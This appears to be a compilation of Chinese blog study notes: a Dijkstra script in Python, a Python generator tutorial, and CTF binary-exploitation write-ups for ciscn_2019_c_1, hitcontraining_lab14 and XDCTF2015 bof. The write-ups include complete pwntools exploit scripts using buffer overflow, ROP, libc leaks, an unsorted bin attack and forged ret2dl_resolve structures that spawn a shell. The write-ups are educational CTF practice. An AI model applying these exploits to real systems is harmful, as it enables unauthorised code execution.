离散课上图论的时候讲了理论知识，但是还没实践过，于是拿python写了一下，顺便做个笔记防止忘记。

python自带的数据结构比较丰富，写起来的确顺滑很多，太香了md

mymap = {
    1:{1:0,3:10,5:30,6:100},
    2:{2:0,3:5},
    3:{3:0,4:50},
    4:{4:0,6:10},
    5:{4:20,5:0,6:60},
    6:{6:0}
}
max_len = 1000000

T = set() #完成最短路搜索的点集
dis = {} #起始点到其它点的距离，初始化无穷
for i in mymap.keys(): #把max_len视作无穷大
    dis[i] = max_len

start = int(input("strat:"))
end = int(input("end:"))
dis[start] = 0 #初始化源点

def get_min_key(dis:dict): #检索出T集合外的最短路
    _min_k = 0
    _min_v = max_len
    for i in dis.keys():
        if dis[i]<=_min_v and i not in T:
            _min_k = i
            _min_v = dis[i]
    return _min_k

def dijkstra(end):
    while len(T)<len(mymap): #当所有点的最短路找到后结束循环
        _min_k = get_min_key(dis)
        T.add(_min_k) #取出T集合外dis的最小值做最短路
        '''到下一个点的最短路就是一条最短路，因为如果有两条路的权加起来更短，则第一条路就要是最短的'''
        for i in mymap[_min_k].keys(): #遍历该点所有相邻点找更短路
            if dis[_min_k] + mymap[_min_k][i] < dis[i] and i not in T: #有更短路则更新当前dis
                dis[i] = dis[_min_k] + mymap[_min_k][i]
    print(dis[end]) if dis[end]!=max_len else print("+∞")

dijkstra(end)

本质上是个很简单的pwn，但是开头对payload的异或运算破坏了payload结构，于是一直想着怎么构造payload，忽略了一个绕过技巧。

0x00

题目本身不复杂，可以操作的就是一个加密功能，gets读取输入的内容并做异或加密后输出。存在溢出，但是payload结构会被破坏。

关键代码：

int encrypt()
{
  size_t index; // rbx
  char s[48]; // [rsp+0h] [rbp-50h]
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    index = (unsigned int)x;    // 只要在payload放置一个\x00就可以绕过了(strlen和strcmp的通病)
    if ( index >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

可以发现，gets读取输入内容进入while循环之后是由strlen检查长度。经过试验发现gets在回车处结束而\x00可以被正常读入，但是strlen是从字符串开头检测到第一个\x00截断，所以只要在payload的开头置0让strlen判断错误就可以避免对payload的破坏。

往下就是简单的ret2csu+one_gadget，值得注意的是ubuntu18的平台栈老是存在玄学栈对齐问题，要注意多试试用ret gadget 去对齐栈使得程序正常运行。

0x01 完整exp

from pwn import *

#p = process("ciscn_2019_c_1")
p = remote("node3.buuoj.cn",28487)
elf = ELF("ciscn_2019_c_1")
#libc = ELF("libc.so.6")
libc = ELF("libc2.27.so")

context.log_level = "debug"

main = 0x400B28

gadget_1 = 0x400C7A
gadget_2 = 0x400C60

puts_got=elf.got[b"puts"]
onegadget_offset = 0x10a38c
ret = 0x4006b9

offset = 80+8
payload1 = b"a"*(offset-1) + p64(gadget_1) + p64(0) + p64(1) + p64(puts_got) + p64(0) + p64(0) + p64(puts_got)
payload1+= p64(gadget_2) + b"a"*56 + p64(ret)+ p64(ret)+p64(main)
p.recvuntil(b"Input your choice!\n")
p.sendline(b"1")
p.recvuntil(b"Input your Plaintext to be encrypted\n")
p.sendline(b"\x00"+payload1)

p.recv(12)
puts = u64(p.recv(6).ljust(8,b"\x00"))
onegadget = onegadget_offset - libc.symbols[b"puts"] + puts
print("puts:",hex(puts))
print("onegadget:",hex(onegadget))

payload2 = b"a"*(offset-1)  + p64(ret)+ p64(ret)+ p64(ret)+p64(onegadget)
p.recvuntil(b"Input your choice!\n")
p.sendline(b"1")
p.recvuntil(b"Input your Plaintext to be encrypted\n")
p.sendline(b"\x00"+payload2)

p.interactive()

0x00 原理

Unsorted_bin_attack 是一种比较基础的堆利用手法，常用于可以通过溢出，uaf或其它一些手法控制Unsorted_bin中末尾块（unsorted_arena->bk）的bk指针域的情形。

unsorted_bin是双链表结构，arena中fd指向链表首，bk指向链表尾。并且其中的chunk遵循头部插入尾部取出的规则。值得一提的是，首chunk的bk和尾chunk的fd都指向arena。

利用点在于尾部取出的过程，先来看glibc中相关的源码：

        while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
            bck = victim->bk;
            if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
                __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
                malloc_printerr(check_action, "malloc(): memory corruption",
                                chunk2mem(victim), av);
            size = chunksize(victim);

            /*
               If a small request, try to use last remainder if it is the
               only chunk in unsorted bin.  This helps promote locality for
               runs of consecutive small requests. This is the only
               exception to best-fit, and applies only when there is
               no exact fit for a small chunk.
             */
            /* 显然，bck被修改，并不符合这里的要求*/
            if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
                victim == av->last_remainder &&
                (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
                ....
            }

            /* remove from unsorted list */
            unsorted_chunks(av)->bk = bck;
            bck->fd                 = unsorted_chunks(av);

可以发现，取出尾chunk时会将arena中的bk指向尾chunk的fd，也就是上一个chunk的位置，同时会将上一个chunk的fd改写为arena的地址。这意味着，如果在取出尾部chunk前，我们如果将尾部chunk的bk修改为tartget_addr-0x10（fd被改掉不会直接报错，但是可能会破坏链表），那么在取出后，target的值就会被覆盖为arena的地址。

上一个拙劣的图：

看似被覆盖的值不受控制，但是可以达到很对目的，比如：

• 修改某些判断条件中的常数
• 修改循环的计数变量
• 修改glibc中max_fastbin_size的大小，使得可以创建更大的fastbin，为下一步fastbin attack做准备
• others...

0x01 举例：hitcontraining_lab14

题目内容就不放了，可以自己找。主要还是分配，编辑，释放三大功能，其中分配和编辑的大小都是自定义的，没有严格检查，所以存在堆溢出。利用溢出直接修改unsorted_chunk的bk域便可以实现unsorted_bin_attack。

exp：

from pwn import *

p = process("./magicheap")
elf = ELF("./magicheap")
libc = ELF("./libc.so.6")

magic_addr = 0x6020C0

context.log_level = "debug"

def create(size:int,content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"1")
    p.recvuntil(b"Size of Heap : ")
    p.sendline(str(size).encode())  
    p.recvuntil(b"Content of heap:")
    p.send(content)
    
def edit(index:int,size:int,content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"2")
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())
    p.recvuntil(b"Size of Heap : ")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content of heap : ")
    p.send(content)
    
def delete(index:int):
    p.recvuntil(b"Your choice :")
    p.sendline(b"3")
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())
    
def exp():
    create(0x10,b"aaaa") #idx0
    create(0x80,b"aaaa") #idx1
    create(0x10,b"aaaa") #idx2
    delete(1)
    #gdb.attach(p)
    edit(0,0x30,b"a"*0x10+p64(0)+p64(0x91)+b"a"*8+p64(magic_addr-0x10))
    gdb.attach(p)
    create(0x80,b"bbbb") #idx1
    p.recvuntil(b"Your choice :")
    p.sendline(b"4869")
    p.recvall()
    pass
    
if __name__=="__main__":
    exp()

生成器是进入python更高层次一个很重要的概念，这里用一个小例子简单记录一下

0x00 什么是生成器

借用一个生成斐波那契数列的python代码进行解释，这是一般的写法：

def fab(max): 
    n, a, b = 0, 0, 1 
    L = [] 
    while n < max: 
        L.append(b) 
        a, b = b, a + b 
        n = n + 1 
    return L
 
for n in fab(5): 
    print n

这个写法定义了一个函数，把传入的参数作为斐波那契数列的长度，将整个数列运算完成之后，返回一个列表。这样做虽然没错，但是我们可以发现，随着传入的参数变大，数列占用内存的体积也将慢慢变大。

于是为了提高效率，出现了这么一种思想，既然数列是有规律的，那么可不可以在需要下一个值的时候再进行运算，在不需要的时候就停止计算，以此可以保证内存占用始终为常数。

这就涉及到了python中 "协程" 的概念。总所周知，在一个线程中子程序的调用建立在栈的基础上，携程简而言之就是可以在同一个线程中，在一个子程序未执行完毕的情况下去执行另一个子函数。这种执行方式不需要复杂的锁，所以可以提高多线程的效率。

回到正题，python提供了一种叫生成器的东西，只要在定义函数时使用yield “替代” （并不是简单的替代）return 即可获得一个生成器。

0x01 生成器函数的工作原理

def func(a):
    ......
    yield x
    ......

当调用这个函数的时候会创建一个generator对象，这个对象具有next()方法。每执行一次next()方法，子程序会把语句执行到yield的位置，返回一个值，然后被挂起，转而继续执行原来的子程序。而当再次调用next()方法时会接着yield往下执行，直到抛出 StopIteration，也就是终止迭代。

0x02 示例

同样还是生成斐波那契数列，用生成器的方法：

from inspect import isgeneratorfunction

def func(max:int=9):
    n, a, b = 0, 0, 1
    while n < max:
        yield b
        a, b = b, a+b
        n+=1

print(isgeneratorfunction(func))

a = func(10)
print(type(a))
for i in a:
    print(i)

注意isgeneratorfunction 用于检测一个函数是不是生成器函数

这里使用a=func是实例化的出了一个generator对象，实际上每次实例化得到的对象都是不一样的，它们互不影响，也就是面向对象编程的特点。

这是一种较难理解的rop技巧，虽然pwntool直接提供了现成的模块进行利用但是我还是打算从原理上摸清楚

本文适合具有一定ROP基础的读者阅读

示例：XDCTF2015 bof

0x00 原理

说实话查了很多资料发现有些技术大神的表达能力较为欠缺.....搞得我看得云里雾里

关于segment和section的概念不再赘述，这里直切主题——ret2_dl_runtime_solve

1. 延迟绑定概念

由于Linux下的程序采用了延迟绑定机制，这就使得程序在运行后需要有专门的函数去根据程序中的符号（可以看成一个入口）把内存中运行库libc中真实的变量或函数的地址计算出来并保存在特定的位置（比如got表）。即利用程序二进制文件中写有的关于函数链接的信息作为参数让负责链接的函数帮助实现具体的链接过程，而负责实现链接的函数在程序运行之初就已经绑定好了，不然就会出现先有鸡还是先有蛋的矛盾。

2. 实现绑定（relocation）的过程

由于需要理清的东西实在太多，我干脆做了一张清晰明了的图，把relocation的每一个步骤都表示出来，这样在思考的时候不容易混乱。

完整图片下载链接：点我查看

首先注意args[0]和args[1]这两个参数是libc提供的负责链接的函数（_dl_runtime_solve）所需的参数。那么这两个参数又是如何被传入的呢？

通过动态跟踪程序的执行路径，比如write@plt，发现首次调用的时候实际上指向的是plt表的一段代码：

080483d0 <write@plt>:
 80483d0:	ff 25 1c a0 04 08    	jmp    DWORD PTR ds:0x804a01c
 80483d6:	68 20 00 00 00       	push   0x20
 80483db:	e9 a0 ff ff ff       	jmp    8048380 <_init+0x28>

其中jmp跳转到的位置就是write对应的got表项，函数got表的内容在没有完成链接前保存的是该函数plt表第二条指令的地址，也就是会绕一圈继续往下执行。而往下执行的这个push 0x20便是图中的args[1]。再往下的jmp会跳转到plt表的开头也就是plt[0]的位置：

 8048380:	ff 35 04 a0 04 08    	push   DWORD PTR ds:0x804a004
 8048386:	ff 25 08 a0 04 08    	jmp    DWORD PTR ds:0x804a008

其中两个操作数分别是got[1]和got[2]：

.got.plt:0804A004 dword_804A004   dd 0                    ; DATA XREF: sub_8048380↑r  //got[1]
.got.plt:0804A008 dword_804A008   dd 0                    ; DATA XREF: sub_8048380+6↑r //got[2]

plt[0]的位置是两条指令，其中push DWORD PTR ds:0x804a004 对应图中的args[0]，jmp则跳转到了got[2]的位置，这个位置保存了之前提到的 _dl_runtime_solve 的地址，开始执行对write函数的链接。

可以发现这个plt表的这个跳转实际上就是先传参，再调用函数的过程，两个参数args[1]和args[0]被先后压入栈中。这两个参数意义如下：

• args[0]：link_map，保存在got[1]中，指向.dynamic section的位置
• args[1]：write相对于.rel.plt（也就是JMPREL）的偏移

通过挖掘的这两个参数可以发现， .Dynamic Section 中竟然保存了 rel.plt 的起始地址：

Dynamic section at offset 0xf14 contains 24 entries:
  标记        类型                         名称/值
 0x00000001 (NEEDED)                     共享库：[libc.so.6]
 0x0000000c (INIT)                       0x8048358
 0x0000000d (FINI)                       0x8048624
 0x00000019 (INIT_ARRAY)                 0x8049f08
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x0000001a (FINI_ARRAY)                 0x8049f0c
 0x0000001c (FINI_ARRAYSZ)               4 (bytes)
 0x6ffffef5 (GNU_HASH)                   0x80481ac
 0x00000005 (STRTAB)                     0x8048278
 0x00000006 (SYMTAB)                     0x80481d8
 0x0000000a (STRSZ)                      107 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000015 (DEBUG)                      0x0
 0x00000003 (PLTGOT)                     0x804a000
 0x00000002 (PLTRELSZ)                   40 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)                     0x8048330 /*这一项就是*/
 0x00000011 (REL)                        0x8048318
 0x00000012 (RELSZ)                      24 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
 0x6ffffffe (VERNEED)                    0x80482f8
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x80482e4
 0x00000000 (NULL)                       0x0

那.rel.plt中又存放着什么信息使得_dl_runtime_solve函数足以计算出write的真正地址？

LOAD:08048330 ; ELF JMPREL Relocation Table
LOAD:08048330                 Elf32_Rel <804A00Ch, 107h> ; R_386_JMP_SLOT setbuf
LOAD:08048338                 Elf32_Rel <804A010h, 207h> ; R_386_JMP_SLOT read
LOAD:08048340                 Elf32_Rel <804A014h, 407h> ; R_386_JMP_SLOT strlen
LOAD:08048348                 Elf32_Rel <804A018h, 507h> ; R_386_JMP_SLOT __libc_start_main
LOAD:08048350                 Elf32_Rel <804A01Ch, 607h> ; R_386_JMP_SLOT write  /*该项是与write有关的结构体*/
LOAD:08048350 LOAD            ends

从IDA的反汇编结果来看，是一连串结构体。如果把之前args[1]传入的那个偏移加上.rel.plt的起始地址刚好对应上了一个与write有关的结构体。这个结构体一共8个字节，前四个字节是一个地址，后四个地址看着像偏移。

经过动态跟踪 _dl_runtime_solve 函数 的执行过程发现，后四字节对应的16进制整数前两位会作为以前四个字节为基址的偏移，而最后一位0x7作为一个常数存在，且该常数还需要通过校验才能继续往下执行（8懂为啥这么干）。只好继续分析前四字节的地址有啥：

LOAD:080481D8 ; ELF Symbol Table
LOAD:080481D8                 Elf32_Sym <0>
LOAD:080481E8                 Elf32_Sym <offset aSetbuf - offset elfstr_start, 0, 0, 12h, 0, 0> ; "setbuf"
LOAD:080481F8                 Elf32_Sym <offset aRead - offset elfstr_start, 0, 0, 12h, 0, 0> ; "read"
LOAD:08048208                 Elf32_Sym <offset aGmonStart - offset elfstr_start, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:08048218                 Elf32_Sym <offset aStrlen - offset elfstr_start, 0, 0, 12h, 0, 0> ; "strlen"
LOAD:08048228                 Elf32_Sym <offset aLibcStartMain - offset elfstr_start, 0, 0, 12h, 0, \ ; "__libc_start_main"
LOAD:08048228                            0>
LOAD:08048238                 Elf32_Sym <offset aWrite - offset elfstr_start, 0, 0, 12h, 0, 0> ; "write" /*这里是write对应的结构体*/

发现是一个符号表....

吐了，根据IDA反汇编结果看还是一串结构体。不过按照之前的步骤进行分析，发现这个结构体只有前4*4=16个字节需要关注，且中间8字节全是0，开头的4字节还是一个偏移，而最后4字节对于函数的链接而言是一个常数，不用管。继续深挖这个偏移，发现这是相对于另一个表的偏移：

LOAD:08048278 ; ELF String Table
LOAD:08048278 elfstr_start    db 0                    ; DATA XREF: LOAD:080481E8↑o
LOAD:08048278                                         ; LOAD:080481F8↑o ...
LOAD:08048279 aLibcSo6        db 'libc.so.6',0
LOAD:08048283 aIoStdinUsed    db '_IO_stdin_used',0   ; DATA XREF: LOAD:08048258↑o
LOAD:08048292 aStdin          db 'stdin',0            ; DATA XREF: LOAD:08048268↑o
LOAD:08048298 aStrlen         db 'strlen',0           ; DATA XREF: LOAD:08048218↑o
LOAD:0804829F aRead           db 'read',0             ; DATA XREF: LOAD:080481F8↑o
LOAD:080482A4 aStdout         db 'stdout',0           ; DATA XREF: LOAD:08048248↑o
LOAD:080482AB aSetbuf         db 'setbuf',0           ; DATA XREF: LOAD:080481E8↑o
LOAD:080482B2 aLibcStartMain  db '__libc_start_main',0
LOAD:080482B2                                         ; DATA XREF: LOAD:08048228↑o
LOAD:080482C4 aWrite          db 'write',0            ; DATA XREF: LOAD:08048238↑o
LOAD:080482CA aGmonStart      db '__gmon_start__',0   ; DATA XREF: LOAD:08048208↑o
LOAD:080482D9 aGlibc20        db 'GLIBC_2.0',0
LOAD:080482E3                 align 4
LOAD:080482E4                 dd 20000h, 2, 2 dup(20002h), 20001h, 10001h, 1, 10h, 0
LOAD:08048308                 dd 0D696910h, 20000h, 61h, 0

这是个字符串表，加上刚刚符号表中的偏移发现是一个字符串，而且这个字符串的内容正是 "\x00write\x00" （注意前后有\x00截断），是咱write函数的名字。

在接下来的步骤中，_dl_runtime_solve在libc中搜索这个字符串对应的函数的地址，并将其存入write对应的got表中。

至此逻辑发生了闭合，回到第一步中，write对应的plt表的第一个语句jmp到got表保存的地址处就相当于直接jmp到了write函数在内存中真正的位置，完成了函数的符号和地址的链接，往后再次使用该函数不会再发生链接。于是我们接下来的利用思路全部基于这个第一次链接的过程。

文字水平有限，如果对这个过程还有什么不懂的，可以结合文字看我画的那张图，上面标注了流程还有部分关键位置截图。

0x01 题目分析

0x02 exp思路

思路

完整exp

python3版本 （自己写的）

#!/usr/bin/python3

from pwn import *
p=process("./main")
elf=ELF("./main")
#config:
context.log_level="debug"
context.arch="i386"

#func@plt:
write_plt=elf.plt[b"write"]
read_plt=elf.plt[b"read"]

#gadgets:
ppp_ret=0x08048619 #empty parameters
pop_ebp_ret=0x0804861b # migrate stack
leave_ret=0x08048458 # migrate stack

#addr:
bss=0x804A040
stack_size=0x800
base_stage=bss+stack_size
#fake stack栈的大小满足条件即可，没有强制要求

plt_0=0x8048380
rel_plt=0x08048330
dynsym=0x80481D8
dynstr=0x8048278

#constans:
offset=112
align=0x4

#Other:
index_offset = base_stage + 28 - rel_plt
r_info = (((base_stage + 40) - dynsym) << 4 ) | 0x7
print("r_info:",hex(r_info))
st_name = base_stage + 56 - dynstr

#Step 1:
payload1=b"A"*offset
payload1+=p32(read_plt)
payload1+=p32(ppp_ret)
payload1+=p32(0)
payload1+=p32(base_stage)
payload1+=p32(100) # size of payload2
#主要这个值要根据payload2的大小合理分配
payload1+=p32(pop_ebp_ret)
payload1+=p32(base_stage)
payload1+=p32(leave_ret)

p.recvuntil(b"XDCTF2015~!\n")
p.sendline(payload1)

#Step 2:
payload2=b"AAAA" # base_stage (base + 0)
payload2+=p32(plt_0) 
payload2+=p32(index_offset)
payload2+=b"AAAA" #ret
payload2+=p32(base_stage + 80) # "/bin/sh" addr
payload2+=b"aaaa"
payload2+=b"aaaa"
#注意这里要补全为三个参数的长度，因为write是3个参数
#但是由于system只使用第一个参数，所以其他用a填充即可
#-----[fake .rel.plt]----------
payload2+=p32(elf.got[b"write"]) # [fake .rel.plt] (base + 28)
payload2+=p32(r_info) # (base + 32)
#------------------------------
payload2+=b"A"*align # (base + 36)
#注意这一步的对齐非常重要
#dynsym中结构体的大小为0x10
#需要保证fake dynsym和dynsym_start的差为0x10的整数倍
#而这题中dymsym最后一位是0x8
#所以要将fake dynsym最后一位也补齐到0x8
#------[fake .dynsym]----------
payload2+=p32(st_name) # (base + 40)
payload2+=p32(0)
payload2+=p32(0)
payload2+=p32(0x12)
#------------------------------
payload2+=b"system\x00" # func_name that to be relocate (base + 56)
payload2+=b"A"*(80-len(payload2))
payload2+=b"/bin/sh\x00"
payload2+=b"A"*(100-len(payload2))

p.sendline(payload2)
p.interactive()

python2版本（官方wp）

#!/usr/bin/python

from pwn import *
elf = ELF('main')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size
 
r = process('./main')

r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt) # read 100 bytes to base_stage
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret)
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;point esp to base_stage
r.sendline(payload)

cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
print("align",hex(align))
print("r_info",hex(r_info))

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

借助pwntool模块的方法

这么封装起来实在太抽象了，反而难以理解，我还是觉得我写的版本是最容易理解的（嘻嘻

from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process('./main')
context.log_level = 'debug'
r.recv()

rop = ROP('./main')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)

buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()